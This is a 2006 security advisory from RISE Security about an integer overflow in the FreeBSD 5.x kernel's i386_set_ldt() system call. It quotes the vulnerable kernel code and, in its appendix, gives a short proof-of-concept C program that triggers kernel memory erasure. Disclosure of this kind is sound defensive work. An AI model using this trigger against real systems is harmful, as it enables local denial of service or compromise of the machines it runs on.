-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 RISE-2006002 FreeBSD 5.x kernel i386_set_ldt() integer overflow vulnerability Released: September 23, 2006 Last updated: September 23, 2006 INTRODUCTION There exists a vulnerability within a architecture dependent function of the FreeBSD kernel (FreeBSD 5.2-RELEASE through FreeBSD 5.5-RELEASE), which when properly exploited can lead to local compromise of the vulnerable system. This vulnerability was fixed in FreeBSD 6.0-RELEASE, but production (legacy) releases 5.2 through 5.5 are still vulnerable. DETAILS The i386_set_ldt() system call will set a list of i386 descriptors for the current process in its LDT. It accepts a starting selector number (start),an array of memory that will contain the descriptors to be set (descs), and the number of entries to set (num). This vulnerability can be triggered by calling the i386_set_ldt() system call, (available to user through sysarch() system call), with the start argument set to a low integer value, descs set to a value different than null and num set to a high unsigned integer value, resulting in an integer overflow in largest_ld and descs_size (lines 533 and 540), which will result in the consumption of all available operating system resources (line 541). This vulnerability can be also triggered by setting the start argument to a low integer value, descs set to null and num set to a high unsigned integer value, resulting in an integer overflow in largest_ld (line 515), which will result in in the erase of operating system sensitive data (lines 519 and 520). This is part of the vulnerable function from FreeBSD 5.5-RELEASE. 476 static int 477 i386_set_ldt(td, args) 478 struct thread *td; 479 char *args; 480 { 481 int error = 0, i; 482 int largest_ld; 483 struct mdproc *mdp = &td->td_proc->p_md; 484 struct proc_ldt *pldt = 0; 485 struct i386_ldt_args ua, *uap = &ua; 486 union descriptor *descs, *dp; 487 int descs_size; 488 489 if ((error = copyin(args, uap, sizeof(struct i386_ldt_args))) < 0) 490 return(error); 491 492 #ifdef DEBUG 493 printf("i386_set_ldt: start=%d num=%d descs=%p\n", 494 uap->start, uap->num, (void *)uap->descs); 495 #endif 496 497 if (uap->descs == NULL) { 498 /* Free descriptors */ 499 if (uap->start == 0 && uap->num == 0) { 500 /* 501 * Treat this as a special case, so userland needn't 502 * know magic number NLDT. 503 */ 504 uap->start = NLDT; 505 uap->num = MAX_LD - NLDT; 506 } 507 if (uap->start <= LUDATA_SEL || uap->num <= 0) 508 return (EINVAL); 509 mtx_lock_spin(&sched_lock); 510 pldt = mdp->md_ldt; 511 if (pldt == NULL || uap->start >= pldt->ldt_len) { 512 mtx_unlock_spin(&sched_lock); 513 return (0); 514 } 515 largest_ld = uap->start + uap->num; 516 if (largest_ld > pldt->ldt_len) 517 largest_ld = pldt->ldt_len; 518 i = largest_ld - uap->start; 519 bzero(&((union descriptor *)(pldt->ldt_base))[uap->start], 520 sizeof(union descriptor) * i); 521 mtx_unlock_spin(&sched_lock); 522 return (0); 523 } 524 525 if (!(uap->start == LDT_AUTO_ALLOC && uap->num == 1)) { 526 /* complain a for a while if using old methods */ 527 if (ldt_warnings++ < NUM_LDT_WARNINGS) { 528 printf("Warning: pid %d used static ldt allocation.\n", 529 td->td_proc->p_pid); 530 printf("See the i386_set_ldt man page for more info\n"); 531 } 532 /* verify range of descriptors to modify */ 533 largest_ld = uap->start + uap->num; 534 if (uap->start >= MAX_LD || 535 uap->num < 0 || largest_ld > MAX_LD) { 536 return (EINVAL); 537 } 538 } 539 540 descs_size = uap->num * sizeof(union descriptor); 541 descs = (union descriptor *)kmem_alloc(kernel_map, descs_size); 542 if (descs == NULL) 543 return (ENOMEM); 544 error = copyin(uap->descs, descs, descs_size); 545 if (error) { 546 kmem_free(kernel_map, (vm_offset_t)descs, descs_size); 547 return (error); 548 } 549 A little proof of concept code that triggers this vulnerability can be found in appendix section of this document. VENDOR Vendor was notified, as this is not a critical vulnerability, proper corrections should be available soon. CREDITS This vulnerability was discovered by Adriano Lima , further research by Rodrigo Rubira Branco . DISCLAIMER The authors reserve the right not to be responsible for the topicality, correctness, completeness or quality of the information provided in this document. Liability claims regarding damage caused by the use of any information provided, including any kind of information which is incomplete or incorrect, will therefore be rejected. APPENDIX bsd-x86-ldt.c #include #include #include #include int main(int argc,char **argv){ if(i386_set_ldt(LUDATA_SEL+1,NULL,-1)==-1){ perror("i386_set_ldt"); exit(EXIT_FAILURE); } exit(EXIT_FAILURE); } Best regards, RISE Security www.risesecurity.org -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) iD8DBQFFFTdfhFjK78TGSUERAmnaAJ9jQjnsd0Y14fufjmGQeU1AklLaGgCfRojA btClpgXCtyMtxd6IY7Y5eoE= =ygAT -----END PGP SIGNATURE-----